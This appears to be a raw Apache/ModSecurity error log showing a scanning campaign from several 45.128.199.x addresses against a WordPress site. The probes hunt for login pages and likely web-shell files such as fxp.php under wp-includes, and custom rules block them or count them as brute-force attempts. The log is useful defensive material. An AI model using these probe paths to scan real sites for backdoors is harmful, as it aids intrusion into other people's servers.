[Sat Nov 22 17:49:40.165451 2025] [:error] [pid 44259:tid 44266] [client 45.128.199.246:29491] [client 45.128.199.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.246, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aSGHNHXe1xL-_YOdRmRXDgAAAYQ"]
[Sat Nov 22 17:49:46.719497 2025] [:error] [pid 44259:tid 44270] [client 45.128.199.246:29491] [client 45.128.199.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.246, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/.tmb/wp-login.php"] [unique_id "aSGHOnXe1xL-_YOdRmRXGwAAAYg"]
[Sat Nov 22 17:49:51.222458 2025] [:error] [pid 44259:tid 44269] [client 45.128.199.246:29491] [client 45.128.199.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/plugins.php"] [unique_id "aSGHP3Xe1xL-_YOdRmRXJAAAAYc"]
[Sat Nov 22 17:49:52.250361 2025] [:error] [pid 53566:tid 53574] [client 45.128.199.143:47117] [client 45.128.199.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/wp-login.php"] [unique_id "aSGHQMbSHDBkRbwMbd4aVgAAAMY"]
[Sat Nov 22 17:49:53.255899 2025] [:error] [pid 53478:tid 53520] [client 45.128.199.158:20347] [client 45.128.199.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/install.php"] [unique_id "aSGHQQhUYdXBbQswAdTnewAAAEs"]
[Sat Nov 22 17:50:13.540281 2025] [:error] [pid 53478:tid 53511] [client 45.128.199.204:22975] [client 45.128.199.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.204, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/modules/karakaroa/wp-login.php"] [unique_id "aSGHVQhUYdXBbQswAdTnlQAAAEI"]
[Sat Nov 22 17:50:15.508020 2025] [:error] [pid 53478:tid 53521] [client 45.128.199.204:22975] [client 45.128.199.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSGHVwhUYdXBbQswAdTnlgAAAEw"]
[Sat Nov 22 17:50:18.945035 2025] [:error] [pid 9547:tid 9562] [client 45.128.199.237:57065] [client 45.128.199.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.237, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aSGHWtClOR5qk7DoMeGcwgAAAUk"]
[Sat Nov 22 17:50:52.315362 2025] [:error] [pid 9547:tid 9573] [client 45.128.199.237:57065] [client 45.128.199.237] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/editor/fxp.php"] [unique_id "aSGHfNClOR5qk7DoMeGdLgAAAVQ"]
[Sat Nov 22 17:51:19.309614 2025] [:error] [pid 44259:tid 44277] [client 45.128.199.175:23495] [client 45.128.199.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aSGHl3Xe1xL-_YOdRmRXiwAAAY8"]
[Sat Nov 22 17:51:51.235632 2025] [:error] [pid 44259:tid 44267] [client 45.128.199.172:50559] [client 45.128.199.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.172, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aSGHt3Xe1xL-_YOdRmRX5gAAAYU"]
[Sat Nov 22 17:52:16.235277 2025] [autoindex:error] [pid 44259:tid 44275] [client 45.128.199.172:50559] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:52:26.393146 2025] [autoindex:error] [pid 44259:tid 44272] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:52:29.424599 2025] [autoindex:error] [pid 44259:tid 44262] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:52:29.923507 2025] [autoindex:error] [pid 44259:tid 44268] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:52:30.942199 2025] [autoindex:error] [pid 44259:tid 44283] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:52:31.478262 2025] [autoindex:error] [pid 44259:tid 44279] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:52:32.071322 2025] [autoindex:error] [pid 44259:tid 44274] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:52:33.009376 2025] [autoindex:error] [pid 44259:tid 44265] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:52:34.013171 2025] [autoindex:error] [pid 44259:tid 44268] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:52:34.512496 2025] [autoindex:error] [pid 44259:tid 44282] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:52:35.039210 2025] [autoindex:error] [pid 44259:tid 44271] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:53:51.727973 2025] [autoindex:error] [pid 44259:tid 44268] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:53:52.320653 2025] [autoindex:error] [pid 44259:tid 44283] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:53:52.832558 2025] [autoindex:error] [pid 44259:tid 44267] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:53:53.327157 2025] [autoindex:error] [pid 44259:tid 44280] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:53:53.841276 2025] [autoindex:error] [pid 44259:tid 44282] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:53:54.352325 2025] [autoindex:error] [pid 44259:tid 44274] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:53:55.380035 2025] [autoindex:error] [pid 44259:tid 44278] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:54:04.680880 2025] [autoindex:error] [pid 44259:tid 44268] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:54:07.339315 2025] [autoindex:error] [pid 44259:tid 44275] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:54:07.841834 2025] [autoindex:error] [pid 44259:tid 44283] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:54:08.400004 2025] [autoindex:error] [pid 44259:tid 44284] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:54:10.993251 2025] [autoindex:error] [pid 44259:tid 44263] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:54:11.519087 2025] [autoindex:error] [pid 44259:tid 44286] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:54:12.036651 2025] [autoindex:error] [pid 44259:tid 44271] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:54:12.585106 2025] [autoindex:error] [pid 44259:tid 44281] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:54:14.256462 2025] [autoindex:error] [pid 44259:tid 44278] [client 45.128.199.172:50559] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:55:14.703363 2025] [autoindex:error] [pid 53479:tid 53550] [client 45.128.199.144:23483] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:55:37.552898 2025] [autoindex:error] [pid 53479:tid 53546] [client 45.128.199.144:23483] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:55:46.559358 2025] [autoindex:error] [pid 53479:tid 53541] [client 45.128.199.144:23483] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:55:47.058795 2025] [autoindex:error] [pid 53479:tid 53551] [client 45.128.199.144:23483] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:55:55.163837 2025] [autoindex:error] [pid 53479:tid 53551] [client 45.128.199.144:23483] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:55:56.176975 2025] [autoindex:error] [pid 53479:tid 53545] [client 45.128.199.144:23483] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:55:56.690200 2025] [autoindex:error] [pid 53479:tid 53536] [client 45.128.199.144:23483] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:55:57.194285 2025] [autoindex:error] [pid 53479:tid 53538] [client 45.128.199.144:23483] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:55:57.731981 2025] [autoindex:error] [pid 53479:tid 53554] [client 45.128.199.144:23483] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:55:58.259730 2025] [autoindex:error] [pid 53479:tid 53553] [client 45.128.199.144:23483] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:55:58.789101 2025] [autoindex:error] [pid 53479:tid 53540] [client 45.128.199.144:23483] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:55:59.325979 2025] [autoindex:error] [pid 53479:tid 53555] [client 45.128.199.144:23483] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:55:59.811794 2025] [autoindex:error] [pid 53479:tid 53560] [client 45.128.199.144:23483] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:56:42.719448 2025] [autoindex:error] [pid 53479:tid 53546] [client 45.128.199.144:23483] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:56:43.225558 2025] [autoindex:error] [pid 53479:tid 53553] [client 45.128.199.144:23483] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:57:15.129512 2025] [autoindex:error] [pid 53479:tid 53551] [client 45.128.199.144:23483] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/paste/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:57:20.349967 2025] [autoindex:error] [pid 53479:tid 53545] [client 45.128.199.144:23483] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:57:30.555958 2025] [autoindex:error] [pid 44259:tid 44262] [client 45.128.199.163:64065] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:57:33.162676 2025] [autoindex:error] [pid 44259:tid 44279] [client 45.128.199.163:64065] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
